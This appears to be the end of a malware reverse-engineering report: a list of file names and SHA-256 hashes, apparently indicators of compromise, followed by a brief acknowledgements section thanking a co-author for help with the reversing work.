TSLogSDK.dll ad2933bde1c9fc096cbd7d519e8f2234a3094fa20975de6b2014a5c3a1f72e2f
VCOMP140.dll ae4cf023350fd8af83f756dcb5bc59743b71c9dd95fea5d100e8c05fb8368420
lib_TSCommunication_sdk.dll 9e08e9c16bb2b5f02bf7c9122f0460eed720827bae8e9c826dc6463c98ae4ca9
network256.conf 91e83d66e856b26ad098df944ef61502f397eda3bfe1e6f19097187ed0dc1860
storagesvc42.bak ff1a2dcfdca25561b587bfa06214d70c85bcb802c5e5e7397dc977e1c5c20815

9. Acknowledgements

Special thanks to my co-author for supervising the reversing process and helping place breakpoints that were never meant to be set.

gatto